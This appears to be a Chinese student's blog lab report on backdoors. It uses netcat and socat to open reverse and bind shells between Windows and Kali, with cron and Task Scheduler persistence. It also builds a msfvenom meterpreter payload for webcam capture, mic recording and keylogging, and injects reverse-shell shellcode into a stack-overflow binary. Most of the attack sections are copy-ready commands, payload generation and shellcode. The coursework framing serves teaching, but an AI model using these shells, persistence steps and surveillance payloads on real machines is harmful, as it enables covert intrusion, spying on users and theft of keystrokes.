Exp2 后门原理与实践

Exp2 后门原理与实践

目录

一、实践目标

  • 使用netcat实现win,kali间的后门连接
  • 使用socat实现win,kali间的后门连接
  • meterpreter的应用

二、基础知识问答

(1)例举你能想到的一个后门进入到你系统中的可能方式?

误下载带有安全隐患的应用程序或者文件
未及时更新漏洞补丁
使用带有问题的U盘

(2)例举你知道的后门如何启动起来(win及linux)的方式?

win:: 添加至任务计划程序,开机自启动,与其他程序绑定运行,通过注册表启动。
Linux:定时启动,与其他程序绑定后运行,脚本运行。

(3)Meterpreter有哪些给你映像深刻的功能?

屏幕截图,获取击键记录,获取音频,打开摄像头,提权,进程迁移,安装Meterpreter到主机。

(4)如何发现自己有系统有没有被安装后门?

杀毒软件(火绒等)反馈
观察自启动项
观察任务管理器内的进程
观察任务计划程序
观察端口
特征码扫描
观察到自己的摄像头时不时闪一下

三、实验内容

Ⅰ.使用netcat获取主机操作Shell,cron启动

①Windows获取Kali虚拟机的shell

1.查看Windows主机的IP地址
ipconfig

图3.1.1 IP地址

2.在ncat.exe目录下打开cmd监听本机的11204端口
ncat.exe -l -p 11204

图3.1.2 监听

3.kali反弹连接Windows
nc 192.168.1.119 11204 -e /bin/sh

图3.1.3 反弹连接

4.Windows返回kali的shell
  ls
  whoami
  hostname

图3.1.4 验证shell

②Kali虚拟机获取Windows的shell

1.获取Kali虚拟机的IP地址

图3.1.5 IP地址

2.Kali中开启监听
ncat -l -p 11204

图3.1.6 监听

3.Windows反弹连接
ncat.exe -e cmd.exe 192.168.1.248 11204

图3.1.7 反弹连接

4.Kali虚拟机返回Windows的shell
dir

图3.1.8 验证shell

③cron启动

1.Kali中执行crontab -e指令

图3.1.9 第一步

2.设置自启动时间
15 * * * * /bin/netcat 192.168.1.119 11204 -e /bin/sh

图3.1.10 自启动

则当主机时间为15分时(每小时的15分),若存在一台ip地址为 192.168.31.63 的主机正在监听11204端口,该主机便可以获取到Kali的Shell

3.Windows主机在指定时间监听
ncat -l -p 11204

图3.1.11 验证自启动功能

Ⅱ.使用socat获取主机操作Shell, 任务计划启动

①Windows获取kali虚拟机的shell

1.Kali开放11204端口
socat tcp-listen:11204 system:bash,pty,stderr

图3.2.1 开放端口

2.Windows连接Kali虚拟机,验证shell功能
socat - tcp:192.168.56.101:11204
ls

图3.2.2 连接并验证i

②Kali虚拟机获得Windows的shell

1.Windows开放11204端口
socat tcp-listen:11204 exec:cmd,pty,stderr 

图3.2.4 开放端口

2.Kali虚拟机连接Windows
socat - tcp:192.168.1.119:11204

图3.2.5 连接

3.验证shell
dir

图3.2.6验证

③任务计划启动

1.打开任务计划程序,单击创建任务,编辑名称,新建触发器

名称
图3.2.7触发器设置

2.新建操作,将socat.exe所在位置填入并添加以下参数,其他选项不变
tcp-listen:11204 exec:cmd,pty,stderr
3.测试

此时会弹出如图3.2.9所示的弹窗
图3.2.9 cmd弹窗

然后再Kali虚拟机键入以下命令:

socat - tcp:192.168.31.63:11204

图3.2.10 shell

验证shell

图3.2.11 验证

Ⅲ.使用MSF meterpreter生成可执行文件,利用ncat传送到主机并运行获取主机Shell

①生成可执行文件

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.248 LPORT=11204 -f exe > shell.exe

图3.3.1 验证

图3.3.2 shell.exe

②利用ncat传送到主机并运行获取主机Shell

1.在Windows的cmd下开始监听11204端口
ncat.exe -l 11204 > shell.exe

图3.3.3 监听

2.Kali虚拟机传送shell.exe
nc 192.168.31.63 11204 < shell.exe

图3.3.5 传送成功

3.msf打开监听
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.56.101
set LPORT 11204

图3.3.6 msf打开

可以通过show options查看是否修改正确,IP地址与端口号必须与shell.exe中相一致

4.在Windows中打开shell.exe

图3.3.7 shell进程

5.获取主机shell
exploit
dir

图3.3.8 验证

Ⅳ.使用MSF meterpreter获取目标主机音频、摄像头、击键记录等内容,并尝试提权

①获取目标主机音频

在之前进入的MSF exploit中输入record_mic指令进行录音(-d可设置时长)
录音

音频

②获取目标主机摄像头

webcam_snap

输入webcam_snap指令控制摄像头进行拍照
获得的图片

③获取击键记录

输入keyscan_start开始捕获键盘记录,keyscan_dump获取击键记录(-d可设置时长)
获取键盘输入

截取主机屏幕

screenshot

截屏
fim XXX.jpeg查看图片

Ⅴ.使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell

①生成shellcode

msfvenom -p linux/x86/shell/reverse_nonx_tcp LHOST=192.168.123.85 LPORT=11204 -f c

②关闭地址随机化并设置栈可执行

execstack -s pwn1
echo "0" > /proc/sys/kernel/randomize_va_space

③gdb调试并生成最终Shellcode

shellcode返回地址为0xbffff130

perl -e 'print "A" x 32;print "\x30\xf1\xff\xbf";print "\x31\xdb\x53\x43\x53\x6a\x02\x6a\x66\x58\x89\xe1\xcd\x80\x97\x5b\x68\xc0\xa8\x7b\xd4\x66\x68\x2b\xc4\x66\x53\x89\xe1\x6a\x66\x58\x50\x51\x57\x89\xe1\x43\xcd\x80\x5b\x99\xb6\x0c\xb0\x03\xcd\x80\xff\xe1"'>hack.bin

④kali打开监听

⑤配置msf

运行侦听,在Ubuntu控制Linux的shell

1.Ubuntu端:

2.kali端

成功

实验体会:
本次实验实现了入侵对方终端,抓拍,获取键盘信息等等基础后门功能,以前在新闻中看到类似的科普知识,感觉很厉害,很神奇。现在我觉得自己也很nb哈哈哈哈,当然没有任何杀毒软件和防火墙的干扰,一切还是很顺利的,希望在学了免杀后能够升级我的攻击力。嗯
实验中对ip的键入比较模糊,现在明晰一些了,生成攻击文件ip为坏ip,用来传递参数,返回攻击者的电脑,nc的ip为对方ip,用来连接。

posted @ 2022-03-29 11:01  氧气2019  阅读(138)  评论(0编辑  收藏  举报